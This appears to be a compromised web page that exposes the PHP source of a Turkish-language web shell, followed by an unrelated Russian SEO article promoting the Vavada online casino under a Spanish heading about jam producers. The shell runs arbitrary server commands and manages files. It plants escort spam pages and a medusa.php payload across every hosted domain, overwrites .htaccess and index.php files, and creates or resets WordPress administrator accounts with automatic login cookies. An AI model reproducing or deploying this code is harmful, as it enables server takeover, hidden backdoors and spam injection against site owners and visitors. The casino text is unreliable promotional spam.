= '✅ Hyper Cache temizlendi'; } if ($wpdb) { $tables = $wpdb->get_results("SHOW TABLES", ARRAY_N); $optimized = 0; foreach ($tables as $table) { $wpdb->query("OPTIMIZE TABLE " . $table[0]); $optimized++; } $results[] = "✅ $optimized tablo optimize edildi"; $revisions = $wpdb->query("DELETE FROM {$wpdb->posts} WHERE post_type = 'revision'"); if ($revisions > 0) $results[] = "✅ $revisions post revision temizlendi"; $drafts = $wpdb->query("DELETE FROM {$wpdb->posts} WHERE post_status = 'auto-draft'"); if ($drafts > 0) $results[] = "✅ $drafts auto-draft temizlendi"; $spam = $wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_approved = 'spam'"); if ($spam > 0) $results[] = "✅ $spam spam yorum temizlendi"; } } } // ── Dosya bazlı cache dizinleri ── $cacheDirs = [ $dir . '/wp-content/cache/', $dir . '/cache/', $dir . '/wp-content/w3tc-cache/', $dir . '/wp-content/wp-rocket-cache/', $dir . '/wp-content/endurance-page-cache/', $dir . '/wp-content/et-cache/', ]; if (defined('ABSPATH') && function_exists('wp_upload_dir')) { $upload_dir = wp_upload_dir(); $cacheDirs[] = $upload_dir['basedir'] . '/cache/'; } foreach ($cacheDirs as $cacheDir) { if (is_dir($cacheDir)) { $deleted = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($cacheDir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $file) { if ($file->isFile()) { @unlink($file->getRealPath()); $deleted++; } } if ($deleted > 0) { $results[] = "✅ " . basename($cacheDir) . " dizini temizlendi ($deleted dosya)"; } } } // ── LiteSpeed purge header ── if (!headers_sent()) { header('X-LiteSpeed-Purge: *'); $results[] = '✅ LiteSpeed purge header gönderildi'; } $lsDirs = ['/tmp/lshttpd/swap/', '/tmp/lshttpd/cache/', '/var/cache/litespeed/']; foreach ($lsDirs as $lsDir) { if (is_dir($lsDir)) { $deleted = 0; foreach (glob($lsDir . '*') as $f) { if (is_file($f) && @unlink($f)) $deleted++; } if ($deleted > 0) $results[] = "✅ LiteSpeed dosya cache ($lsDir): $deleted dosya silindi"; } } return $results; } // ── CACHE TEMİZLEME (tek domain) ──────────── if(isset($_POST['clear_cache'])){ $results = clearCacheForDirectory($currentDirectory); $statusMessage = implode(' | ', $results); $statusType = (strpos($statusMessage, '❌') !== false) ? 'error' : 'success'; } // ── TÜM DOMAIN CACHE TEMİZLE ──────────────── if(isset($_POST['clear_all_domains_cache'])){ $allResults = []; $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ $results = clearCacheForDirectory($publicHtml); $allResults[] = "🌐 " . basename(dirname($publicHtml)) . ": " . implode(', ', $results); $count++; } $statusMessage = "✅ $count domain cache temizlendi: " . implode(' | ', $allResults); $statusType = 'success'; } } } // ── DEPLOY ESCORT TEMPLATE AS license.html (Güncellendi) ── if(isset($_POST['deploy_escort'])){ $city = isset($_POST['escort_city']) ? $_POST['escort_city'] : 'bodrum'; try { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ // domains yoksa mevcut domaine yaz $url = getDomainUrl($currentDirectory) ?: 'http://' . $_SERVER['HTTP_HOST']; $html = generateEscortPage($url, $city); $filePath = $currentDirectory . '/license.html'; if(file_put_contents($filePath, $html) !== false){ $statusMessage = "✅ license.html mevcut domain'e kopyalandı (Şehir: " . ucfirst($city) . ")"; $statusType = 'success'; } else { $statusMessage = "❌ license.html yazılamadı."; $statusType = 'error'; } } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ throw new Exception('Hiç public_html dizini bulunamadı.'); } $count = 0; foreach($publicDirs as $publicHtml){ $domainName = basename(dirname($publicHtml)); $url = 'https://' . $domainName; $html = generateEscortPage($url, $city); $filePath = $publicHtml . '/license.html'; if(file_put_contents($filePath, $html) !== false){ $count++; } } $statusMessage = "✅ $count domain'e license.html başarıyla kopyalandı (Şehir: " . ucfirst($city) . ")."; $statusType = 'success'; } } catch (Exception $e) { $statusMessage = '❌ Hata: ' . $e->getMessage(); $statusType = 'error'; } } // ── DEPLOY .htaccess & index.php TO ALL DOMAINS ── if(isset($_POST['deploy_all_domains'])){ $sourceDir = $currentDirectory; $htaccessSrc = $sourceDir . '/.htaccess'; $indexSrc = $sourceDir . '/index.php'; if(!file_exists($htaccessSrc) || !file_exists($indexSrc)){ $statusMessage = '❌ .htaccess veya index.php bulunamadı!'; $statusType = 'error'; } else { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ if(copy($htaccessSrc, $publicHtml . '/.htaccess')) $count++; if(copy($indexSrc, $publicHtml . '/index.php')) $count++; } $statusMessage = "✅ $count dosya kopyalandı (" . (count($publicDirs)) . " domain)"; $statusType = 'success'; } } } } // ── DEPLOY CLR.PHP TO ALL DOMAINS (Ana dizine) ── if(isset($_POST['deploy_clr_php'])){ $sourceDir = $currentDirectory; $clrSrc = $sourceDir . '/clr.php'; if(!file_exists($clrSrc)){ $statusMessage = '❌ clr.php bulunamadı!'; $statusType = 'error'; } else { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ if(copy($clrSrc, $publicHtml . '/clr.php')) $count++; } $statusMessage = "✅ $count domain'e clr.php kopyalandı (ana dizin)"; $statusType = 'success'; } } } } // ── DEPLOY MEDUSA.PHP TO ALL WP-CONTENT DIRS ── if(isset($_POST['deploy_medusa_wpcontent'])){ $sourceDir = $currentDirectory; $medusaSrc = $sourceDir . '/medusa.php'; if(!file_exists($medusaSrc)){ $medusaSrc = $sourceDir . '/wp-content/medusa.php'; } if(!file_exists($medusaSrc)){ $statusMessage = '❌ medusa.php bulunamadı! (ana dizinde veya wp-content/ içinde)'; $statusType = 'error'; } else { $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; foreach($publicDirs as $publicHtml){ $wpContent = $publicHtml . '/wp-content'; if(is_dir($wpContent)){ if(copy($medusaSrc, $wpContent . '/medusa.php')) $count++; } } $statusMessage = "✅ $count domain/wp-content/ dizinine medusa.php kopyalandı"; $statusType = 'success'; } } } } // ── TÜM DOMAİNLERDE .htaccess VE index.php İZİNLERİNİ TOPLU AYARLA ── if(isset($_POST['set_permissions_all_domains'])){ $permMode = isset($_POST['permission_mode']) ? intval($_POST['permission_mode']) : 644; $domainsBase = ''; $temp = $currentDirectory; while($temp != '/' && $temp != '.'){ if(basename($temp) === 'domains'){ $domainsBase = $temp; break; } $temp = dirname($temp); } if(empty($domainsBase) || !is_dir($domainsBase)){ $statusMessage = '❌ "domains" klasörü bulunamadı!'; $statusType = 'error'; } else { $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR); if(empty($publicDirs)){ $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.'; $statusType = 'error'; } else { $count = 0; $results = []; foreach($publicDirs as $publicHtml){ $domainName = basename(dirname($publicHtml)); $htaccess = $publicHtml . '/.htaccess'; $index = $publicHtml . '/index.php'; $changed = 0; if(file_exists($htaccess)){ if(chmod($htaccess, octdec($permMode))){ $changed++; } } if(file_exists($index)){ if(chmod($index, octdec($permMode))){ $changed++; } } if($changed > 0){ $count++; $results[] = $domainName . ' (' . $changed . ' dosya)'; } } $statusMessage = "✅ $count domain'de izinler " . $permMode . " olarak ayarlandı: " . implode(', ', array_slice($results, 0, 5)) . (count($results) > 5 ? ' …' : ''); $statusType = 'success'; } } } // ============================================ // ── DOSYA İŞLEMLERİ ──────────────────────── // ============================================ if($_SERVER['REQUEST_METHOD']==='POST'){ // ── TERMINAL KOMUT ───────────────────────── if(isset($_POST['cmd_input'])){ $cmd = trim($_POST['cmd_input']); // ── ÖZEL KOMUTLAR ────────────────────────── $specialOutput = ''; if(preg_match('/^wp user create (\S+) (\S+)(?:\s+(\S+))?$/', $cmd, $matches)) { $wUser = $matches[1]; $wPass = $matches[2]; $wEmail = $matches[3] ?? $wUser . '@example.com'; $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('username_exists')) { if (!username_exists($wUser)) { $user_id = wp_create_user($wUser, $wPass, $wEmail); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); wp_set_auth_cookie($user_id); $wpAdminUrl = findWpAdminUrl($currentDirectory); $specialOutput = "✅ Kullanıcı oluşturuldu: $wUser (Admin)\n🔗 Giriş: " . $wpAdminUrl; echo ''; } else { $specialOutput = "❌ Hata: " . $user_id->get_error_message(); } } else { $user = get_user_by('login', $wUser); if ($user) { wp_set_password($wPass, $user->ID); wp_set_auth_cookie($user->ID); $wpAdminUrl = findWpAdminUrl($currentDirectory); $specialOutput = "✅ Şifre güncellendi: $wUser\n🔗 Giriş: " . $wpAdminUrl; echo ''; } else { $specialOutput = "❌ Kullanıcı bulunamadı: $wUser"; } } } else { $specialOutput = "❌ WordPress fonksiyonları yüklenemedi"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp admin' || $cmd === 'wp-open') { $wpAdminUrl = findWpAdminUrl($currentDirectory); $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('username_exists')) { $adminUsers = get_users(['role' => 'administrator', 'number' => 1]); if (!empty($adminUsers)) { $adminUser = $adminUsers[0]; wp_set_auth_cookie($adminUser->ID); wp_set_current_user($adminUser->ID); $specialOutput = "✅ Otomatik giriş yapıldı: " . $adminUser->user_login . "\n🔗 " . $wpAdminUrl; echo ''; } else { $specialOutput = "⚠️ Admin kullanıcı bulunamadı! Lütfen 'wp user create' ile oluşturun.\n🔗 " . $wpAdminUrl; } } else { $specialOutput = "❌ WordPress fonksiyonları yüklenemedi"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp info') { $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('get_bloginfo')) { $specialOutput = "📋 WordPress Bilgileri:\n"; $specialOutput .= "Site Adı: " . get_bloginfo('name') . "\n"; $specialOutput .= "Site URL: " . get_bloginfo('url') . "\n"; $specialOutput .= "WordPress Versiyon: " . get_bloginfo('version') . "\n"; $specialOutput .= "Admin URL: " . admin_url() . "\n"; $specialOutput .= "Kullanıcı Sayısı: " . count_users()['total_users']; } else { $specialOutput = "❌ WordPress bilgileri alınamadı"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp plugins') { $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('get_plugins')) { if (!function_exists('get_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugins = get_plugins(); $specialOutput = "📦 Aktif Pluginler:\n"; $found = false; foreach ($plugins as $plugin_path => $plugin) { if (is_plugin_active($plugin_path)) { $specialOutput .= "✅ " . $plugin['Name'] . " v" . $plugin['Version'] . "\n"; $found = true; } } if (!$found) { $specialOutput = "⚠️ Aktif plugin bulunamadı"; } } else { $specialOutput = "❌ Plugin listesi alınamadı"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'wp cache clear') { $wpCache = $currentDirectory . '/wp-content/cache'; if(is_dir($wpCache)){ $count = 0; $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($wpCache, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach($it as $f){ if($f->isFile() || $f->isLink()){ @unlink($f->getRealPath()); $count++; } elseif($f->isDir()){ @rmdir($f->getRealPath()); } } $specialOutput = "🗑️ $count dosya silindi (wp-content/cache/)"; } else { $specialOutput = "⚠️ wp-content/cache/ dizini bulunamadı"; } } elseif($cmd === 'wp themes') { $wpLoad = findWpLoadPath($currentDirectory); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (function_exists('wp_get_themes')) { $themes = wp_get_themes(); $active_theme = wp_get_theme(); $specialOutput = "🎨 Temalar:\n"; $specialOutput .= "Aktif Tema: " . $active_theme->get('Name') . " v" . $active_theme->get('Version') . "\n\n"; $specialOutput .= "Yüklü Temalar:\n"; foreach ($themes as $slug => $theme) { $status = ($slug === $active_theme->get_stylesheet()) ? "✅ " : " "; $specialOutput .= $status . $theme->get('Name') . " v" . $theme->get('Version') . "\n"; } } else { $specialOutput = "❌ Tema listesi alınamadı"; } } else { $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)"; } } elseif($cmd === 'help' || $cmd === 'wp help') { $specialOutput = "📚 Özel Komutlar:\n"; $specialOutput .= "─────────────────────────────────────────────\n"; $specialOutput .= "wp user create [email]\n"; $specialOutput .= " → WordPress admin kullanıcı oluştur\n\n"; $specialOutput .= "wp admin veya wp-open\n"; $specialOutput .= " → WordPress Admin panelini aç (otomatik giriş)\n\n"; $specialOutput .= "wp info\n"; $specialOutput .= " → WordPress site bilgilerini göster\n\n"; $specialOutput .= "wp plugins\n"; $specialOutput .= " → Aktif pluginleri listele\n\n"; $specialOutput .= "wp themes\n"; $specialOutput .= " → Temaları listele\n\n"; $specialOutput .= "wp cache clear\n"; $specialOutput .= " → WordPress cache temizle\n\n"; $specialOutput .= "help veya wp help\n"; $specialOutput .= " → Bu yardım mesajını göster\n"; $specialOutput .= "─────────────────────────────────────────────\n"; $specialOutput .= "💡 Normal Linux komutları da çalışır!"; } // ── Normal Komut ────────────────────────── if(empty($specialOutput)) { if(!empty($cmd)){ array_unshift($_SESSION['terminal_history'], [ 'cmd' => $cmd, 'time' => date('H:i:s') ]); $_SESSION['terminal_history'] = array_slice($_SESSION['terminal_history'], 0, 100); $terminalHistory = $_SESSION['terminal_history']; } $ds=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']]; $proc=proc_open($cmd,$ds,$pipes); if(is_resource($proc)){ $out=stream_get_contents($pipes[1]); $err=stream_get_contents($pipes[2]); fclose($pipes[1]);fclose($pipes[2]);proc_close($proc); $viewCommandResult=[ 'type'=>'command', 'label'=>'$ '.htmlspecialchars($cmd), 'content'=>htmlspecialchars(!empty($err)?$err:$out), 'filename'=>'' ]; }else{ $statusMessage='Failed to execute command'; $statusType='error'; } } else { $viewCommandResult=[ 'type'=>'command', 'label'=>'$ '.htmlspecialchars($cmd), 'content'=>htmlspecialchars($specialOutput), 'filename'=>'' ]; array_unshift($_SESSION['terminal_history'], [ 'cmd' => $cmd, 'time' => date('H:i:s') ]); $_SESSION['terminal_history'] = array_slice($_SESSION['terminal_history'], 0, 100); $terminalHistory = $_SESSION['terminal_history']; } } // ── MULTIPLE FILE UPLOAD ──────────────── elseif(isset($_FILES['fileToUpload'])){ $uploaded = 0; $failed = 0; $uploadErrors = []; $files = $_FILES['fileToUpload']; $fileCount = count($files['name']); for($i = 0; $i < $fileCount; $i++) { $fileName = basename($files['name'][$i]); $tmpName = $files['tmp_name'][$i]; $targetPath = $currentDirectory.'/'.$fileName; if(file_exists($targetPath)) { @unlink($targetPath); } if(move_uploaded_file($tmpName, $targetPath)) { $uploaded++; } else { $failed++; $uploadErrors[] = $fileName; } } if($uploaded > 0 && $failed === 0) { $statusMessage = $uploaded.' file'.($uploaded > 1 ? 's' : '').' uploaded successfully'; $statusType = 'success'; } elseif($uploaded > 0 && $failed > 0) { $statusMessage = $uploaded.' file'.($uploaded > 1 ? 's' : '').' uploaded, '.$failed.' failed'; $statusType = 'error'; } else { $statusMessage = 'Failed to upload: '.implode(', ', $uploadErrors); $statusType = 'error'; } }elseif(isset($_POST['folder_name'])&&!empty($_POST['folder_name'])){ $nf=$currentDirectory.'/'.$_POST['folder_name']; if(!file_exists($nf)){mkdir($nf);$statusMessage='Folder created';$statusType='success';} else{$statusMessage='Folder already exists';$statusType='error';} }elseif(isset($_POST['file_name'])&&!empty($_POST['file_name'])){ $nf = $currentDirectory.'/'.$_POST['file_name']; $ex = file_exists($nf); $content = isset($_POST['file_content']) ? $_POST['file_content'] : ''; if(!$ex && empty($content)) { $statusMessage = 'Warning: Creating empty file - no content provided'; $statusType = 'error'; } else { if(file_put_contents($nf, $content) !== false) { $statusMessage = $ex ? 'File saved' : 'File created'; $statusType = 'success'; } else { $statusMessage = 'Failed to save file (permission error)'; $statusType = 'error'; } } }elseif(isset($_POST['delete_file'])){ $t=$currentDirectory.'/'.$_POST['delete_file']; if(file_exists($t)){$ok=is_dir($t)?deleteDirectory($t):unlink($t);$statusMessage=$ok?'Deleted':'Failed to delete';$statusType=$ok?'success':'error';} else{$statusMessage='Not found';$statusType='error';} }elseif(isset($_POST['bulk_delete'])&&!empty($_POST['selected_items'])){ $del=0;$fail=0; foreach($_POST['selected_items'] as $item){ $t=$currentDirectory.'/'.basename($item); if(file_exists($t)){$ok=is_dir($t)?deleteDirectory($t):unlink($t);$ok?$del++:$fail++;} } $statusMessage="Deleted $del item(s)".($fail?", $fail failed":''); $statusType=$fail?'error':'success'; }elseif(isset($_POST['rename_item'])&&isset($_POST['old_name'])&&isset($_POST['new_name'])){ $on=$currentDirectory.'/'.$_POST['old_name']; $nn=$currentDirectory.'/'.$_POST['new_name']; if(file_exists($on)){if(rename($on,$nn)){$statusMessage='Renamed successfully';$statusType='success';}else{$statusMessage='Rename failed';$statusType='error';}} else{$statusMessage='Not found';$statusType='error';} }elseif(isset($_POST['chmod_file'])&&isset($_POST['chmod_value'])){ $t=$currentDirectory.'/'.basename($_POST['chmod_file']); $mode=octdec($_POST['chmod_value']); if(file_exists($t)&&chmod($t,$mode)){$statusMessage='Permissions changed to '.$_POST['chmod_value'];$statusType='success';} else{$statusMessage='chmod failed';$statusType='error';} }elseif(isset($_POST['zip_file'])){ $t=$currentDirectory.'/'.basename($_POST['zip_file']); $zn=$currentDirectory.'/'.basename($_POST['zip_file']).'.zip'; if(class_exists('ZipArchive')){ $zip=new ZipArchive(); if($zip->open($zn,ZipArchive::CREATE)===TRUE){ if(is_dir($t)){$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($t,RecursiveDirectoryIterator::SKIP_DOTS));foreach($it as $f)$zip->addFile($f->getRealPath(),basename($t).'/'.$it->getSubPathname());} else{$zip->addFile($t,basename($t));} $zip->close();$statusMessage='Zipped as '.basename($zn);$statusType='success'; }else{$statusMessage='Failed to create zip';$statusType='error';} }else{$statusMessage='ZipArchive not available';$statusType='error';} }elseif(isset($_POST['extract_file'])){ $zp=$currentDirectory.'/'.basename($_POST['extract_file']); if(class_exists('ZipArchive')){ $zip=new ZipArchive(); if($zip->open($zp)===TRUE){ $to=$currentDirectory.'/'.pathinfo(basename($zp),PATHINFO_FILENAME); $zip->extractTo($to);$zip->close(); $statusMessage='Extracted to /'.basename($to);$statusType='success'; }else{$statusMessage='Failed to open zip';$statusType='error';} }else{$statusMessage='ZipArchive not available';$statusType='error';} }elseif(isset($_POST['view_file'])){ $fv=$currentDirectory.'/'.$_POST['view_file']; if(file_exists($fv)){ $viewCommandResult=['type'=>'view','label'=>'Viewing: '.htmlspecialchars($_POST['view_file']),'content'=>htmlspecialchars(file_get_contents($fv)),'filename'=>$_POST['view_file']]; }else{$statusMessage='File not found';$statusType='error';} }elseif(isset($_POST['editor_load'])){ $fv=$currentDirectory.'/'.$_POST['editor_load']; if(file_exists($fv)){ $editorLoad=['filename'=>$_POST['editor_load'],'content'=>file_get_contents($fv)]; } } } function deleteDirectory($dir){ if(!file_exists($dir))return true;if(!is_dir($dir))return unlink($dir); foreach(scandir($dir) as $i){if($i=='.'||$i=='..')continue;if(!deleteDirectory($dir.DIRECTORY_SEPARATOR.$i))return false;} return rmdir($dir); } function formatFileSize($b){ if($b>=1073741824)return number_format($b/1073741824,2).' GB'; elseif($b>=1048576)return number_format($b/1048576,2).' MB'; elseif($b>=1024)return number_format($b/1024,2).' KB'; elseif($b>1)return $b.' bytes';elseif($b==1)return '1 byte';else return '0 bytes'; } function extColor($e){ $m=['php'=>'text-violet-400','js'=>'text-yellow-400','ts'=>'text-blue-400','html'=>'text-orange-400','htm'=>'text-orange-400','css'=>'text-cyan-400','json'=>'text-yellow-300','xml'=>'text-orange-300','sql'=>'text-emerald-400','py'=>'text-blue-300','sh'=>'text-green-400','bash'=>'text-green-400','txt'=>'text-slate-400','md'=>'text-slate-300','zip'=>'text-purple-400','tar'=>'text-purple-400','gz'=>'text-purple-300','jpg'=>'text-pink-400','jpeg'=>'text-pink-400','png'=>'text-pink-400','gif'=>'text-pink-400','svg'=>'text-pink-300','pdf'=>'text-red-400','log'=>'text-amber-400']; return $m[$e]??'text-slate-400'; } function extLang($e){ $m=['php'=>'php','js'=>'javascript','ts'=>'typescript','html'=>'html','htm'=>'html','css'=>'css','json'=>'json','xml'=>'xml','sql'=>'sql','py'=>'python','sh'=>'bash','bash'=>'bash','md'=>'markdown']; return $m[$e]??'plaintext'; } ?> File Manager window._editorAutoLoad='.json_encode(['filename'=>$editorLoad['filename'],'content'=>$editorLoad['content']]).';'; } ?>
    | | | 🌐 | WP ✓
    '; $fileIcon=''; $btn='inline-flex items-center justify-center w-6 h-6 rounded bg-slate-700/50 text-slate-400 border border-slate-700 transition-all'; ?>
    Name 👁 ✏️ 📦 🔑 🗑 Rename
    '; ?>
    —'; endif; ?>
    —'; endif; ?>
    '; echo ''.$cnt.' item'.($cnt!==1?'s':'').''; echo ''.htmlspecialchars($currentDirectory).''; echo '
    '; ?>
    back to top

    Productores de mermeladas, encurtidos y envasados



    Обзор онлайн казино Вавада правила и бонусы



    Начните с того, чтобы ознакомиться с основами, если вы планируете участвовать в развлечениях, связанных с ставками. Саппорт платформы предлагает множество вариантов, включая различные видеослоты и настольные игры. Каждый игрок может выбрать то, что наиболее понравится, а чтобы сделать процесс более увлекательным, на vavada официальный сайт доступны специальные предложения.

    Не забывайте о возможностях, предлагаемых мероприятием. Регулярные акции и бонусы добавляют интереса, и благодаря им можно существенно увеличить свой банкролл. К тому же, важно следить за обновлениями и специфическими предложениями, которые периодически появляются и могут быть весьма выгодными.

    Обзор онлайн казино Вавада: правила и бонусы

    Начинайте с изучения требований по ставкам, которые указаны в условиях акций, так как они могут варьироваться для различных предложений. Обычно, коэффициент отыгрыша колеблется от 30x до 50x, что следует учитывать при планировании своих ставок.

    Типы акций

    Существует множество выгодных предложений:

    • Приветственные пакеты для новых пользователей, зачастую охватывающие первые три депозита.
    • Кэшбэк на проигрыши в определённых играх.
    • Безопасные вращения на популярных слотах.

    Программа лояльности

    Отдельное внимание стоит уделить системе поощрений для постоянных игроков. За активность начисляются баллы, которые можно обменивать на кредиты или другие привилегии. Чем выше уровень игрока, тем больше эксклюзивных бонусов доступно.

    Проверьте, какие игровые автоматов участвуют в акциях. Разные игры могут суммироваться по-разному к требованиям отыгрыша. Например, слоты могут учитывать 100%, в то время как настольные игры только 10%.

    • Сроки, в которые бонусы должны быть использованы, часто ограничены 30 днями.

    Обязательно ознакомьтесь с правилами идентификации. В большинстве случаев потребуется пройти верификацию, предоставив документы, подтверждающие личность и адрес проживания.

    Следите за сроками действия акций. Чаще всего, предложения имеют фиксированные временные рамки и могут меняться, поэтому не пропускайте выгодные возможности. Подписка на рассылку уведомлений поможет быть в курсе актуальных предложений.

    Основные правила регистрации и верификации в Вавада

    Для успешного создания аккаунта необходимо следовать нескольким этапам. Прежде всего, нужно заполнить регистрационную форму, указав действующий адрес электронной почты и придумав надежный пароль. Убедитесь, что информация введена без ошибок, так как она будет использоваться для подтверждения вашей личности на следующем этапе.

    После заполнения формы необходимо подтвердить адрес электронной почты. Вам будет отправлено письмо с ссылкой для активации аккаунта. Не игнорируйте это сообщение, так как без подтверждения вы не сможете полноценно пользоваться платформой. Ожидайте, что письмо может прийти не сразу, проверьте папку спама в случае задержки.

    Для верификации учетной записи потребуется загрузить сканы документов, подтверждающих личность: паспорт или водительские права, а также документ, удостоверяющий адрес проживания. Важно, чтобы все данные соответствовали указанным при регистрации. Процесс верификации может занять от нескольких часов до нескольких дней, в зависимости от нагрузки на службу поддержки.

    После успешной проверки ваш аккаунт будет активирован, и вы получите уведомление. Рекомендуется сохранять все документы в электронном виде, поскольку в случае возникновения вопросов по безопасности или подозрений в мошенничестве вам может понадобиться предоставить их повторно. Будьте внимательны к своим данным и соблюдайте все условия, чтобы избежать блокировок.


    leave a comment